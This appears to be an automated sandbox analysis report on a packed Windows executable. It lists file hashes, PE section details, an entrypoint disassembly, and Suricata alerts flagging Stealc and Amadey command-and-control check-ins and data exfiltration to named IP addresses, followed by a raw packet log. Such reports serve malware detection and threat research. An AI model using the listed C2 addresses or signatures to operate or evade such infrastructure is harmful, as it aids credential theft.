Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132964
Entropy (8bit):	5.4351826985866385
Encrypted:	false
SSDEEP:	3072:fNkX3ioI5wrfFiC8jMbk/5xnR2pvsMTwR2i6o:fW3dDFqr/5xnR2pvrwR8o
MD5:	237027452E428C36FA72B5CE71CA1974
SHA1:	3D3913AC29D6F25A48E9A5BF88B97B082D634F3D
SHA-256:	C8CB0AA849620EB2A6A9E6CEFABA15AD895B723AEDF8CD02CD5351320B7B356B
SHA-512:	11759CFD1DF333333B3F6EA0C396E241B8904BDA0EE55742DACAE58EA7FDA84B8CBAE0DC7C47F7FBC180BD3A20BF55921894918DDF044DE99F65AF2CBA50C431
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	174866
Entropy (8bit):	5.55119411677623
Encrypted:	false
SSDEEP:	3072:WEBR5OnrJtUy+9+thjN33FhJpGha9HMRWIjFBJBHTZPYb62+vQ1jV9HyT++Wq7ki:WKR5Or8y+9+tdFFhJchaZMRWIhBJBHTl
MD5:	E75DAA83A93E581139D8AD8EE8D62358
SHA1:	AC0DED87D443840A77B446D53DA22BFD52441D5C
SHA-256:	177BD25B85BF254F44B515271222B773D2CF618FA17587D2DD507CE2104A3542
SHA-512:	50FD351CB34D216BC443BC8A3FD2773925FC7151B180E5F697750B356A2649AC302E1FEF4575416C02FF04498F877EB4326F5B21AAC713AAAA38ED6E8BB65C43
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94412399551088
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'841'664 bytes
MD5:	84394fd23d755be3a32a02161f23db10
SHA1:	654e52be3172f400c9245a1acab7ee6cc5a3fde5
SHA256:	ac3938d2065850f0112e55713c14616a3dba7ad5393a9db44127f61a747d5686
SHA512:	b28ee42c5fca9983ef0a81a79ef9131fbe45be9f10437cab76f69ecfd6b0842e82e9d4a3558b7dbea107e5a8c3e779ffb6c8cb635a37ae3558f3b12f0db27494
SSDEEP:	24576:BjB4Ltna+HYkxc0iyIbXeE1YtbNIUeUXG3bXF5B2BKcSiemDemK4iSKx1IB2ZULC:BjBQIBkViyoOEA2g+F5ESj+pifxHXJS
TLSH:	C68533EA1DEF43C7D9F1D9B817A14B6B792CA17CC123682EDC106764CE67D1228E8C16
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaaa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F00CC7DBE2Ah
psubb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], dh
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	9880aaa2988c204b94b9314653c2eaf9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	feeebc407b70f1c036a4ab3778b5cbc1	False	0.79296875	data	6.000772475816319	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b5000	0x200	071b0528709fb8368fb4ca3528dfd5d3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eyhsvkkq	0x501000	0x1a8000	0x1a7c00	e732f0bb0698e0556ca53c63cc9ba744	False	0.9946395648967552	data	7.952969754131407	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qtctcvbs	0x6a9000	0x1000	0x400	ad30c1c97e3dace582914811d00e7771	False	0.8017578125	data	6.1669351712561795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6aa000	0x3000	0x2200	eebf045ffe4ddaeca9164d2d488a38fa	False	0.06525735294117647	DOS executable (COM)	0.774224930046142	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a88d4	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T17:24:13.849463+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49716	185.215.113.206	80	TCP
2024-11-28T17:24:14.405489+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49716	185.215.113.206	80	TCP
2024-11-28T17:24:14.727920+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49716	TCP
2024-11-28T17:24:15.062495+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49716	185.215.113.206	80	TCP
2024-11-28T17:24:15.388252+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49716	TCP
2024-11-28T17:24:16.977663+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49716	185.215.113.206	80	TCP
2024-11-28T17:24:17.815713+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49716	185.215.113.206	80	TCP
2024-11-28T17:24:40.507853+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:42.548505+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:43.980384+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:45.189568+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:48.843362+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:49.951637+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-28T17:24:55.919295+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49926	185.215.113.16	80	TCP
2024-11-28T17:26:06.675073+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50090	185.215.113.43	80	TCP
2024-11-28T17:26:11.159107+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50092	31.41.244.11	80	TCP
2024-11-28T17:26:13.758403+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50091	TCP
2024-11-28T17:26:15.110888+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50094	185.215.113.43	80	TCP
2024-11-28T17:26:16.569792+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50095	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 17:24:03.684828043 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.684858084 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.684869051 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.684935093 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.684947968 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.684959888 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.685018063 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:03.685075998 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:03.693418980 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.693433046 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.693492889 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:03.701684952 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.701750040 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.701811075 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:03.710028887 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.744468927 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:03.744534016 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:03.865619898 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.865633965 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.865639925 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.865648985 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:03.866099119 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.380162954 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.380177975 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.380378962 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.384350061 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.384439945 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.384556055 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.392566919 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.392674923 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.392930031 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.401170015 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.401278019 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.401385069 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.409425974 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.409501076 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.409605026 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.693063021 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.693135977 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.693481922 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.693535089 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.693629026 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.715481043 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:04.715523005 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.814421892 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.814474106 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.814486027 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.814498901 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:04.814512968 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.071701050 CET	49673	443	192.168.2.6	173.222.162.64
Nov 28, 2024 17:24:05.129343033 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:05.129515886 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.134244919 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.134267092 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:05.134566069 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:05.137586117 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.137737989 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.137748957 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:05.157511950 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.203336954 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:05.212287903 CET	49674	443	192.168.2.6	173.222.162.64
Nov 28, 2024 17:24:05.298871994 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.298999071 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.299144983 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:05.303057909 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.303107977 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.303201914 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:05.311503887 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.311623096 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.311719894 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:05.319888115 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.319982052 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.320066929 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:05.328294039 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.328839064 CET	443	49706	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:05.328937054 CET	49706	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:05.399815083 CET	49672	443	192.168.2.6	173.222.162.64
Nov 28, 2024 17:24:05.458353043 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.458424091 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:05.458540916 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.459183931 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.459201097 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:05.807936907 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:05.808058023 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:05.808115959 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.808279037 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:05.808305025 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:06.001223087 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:06.001226902 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:06.001274109 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:06.001276016 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:06.001357079 CET	49710	443	192.168.2.6	20.223.35.26
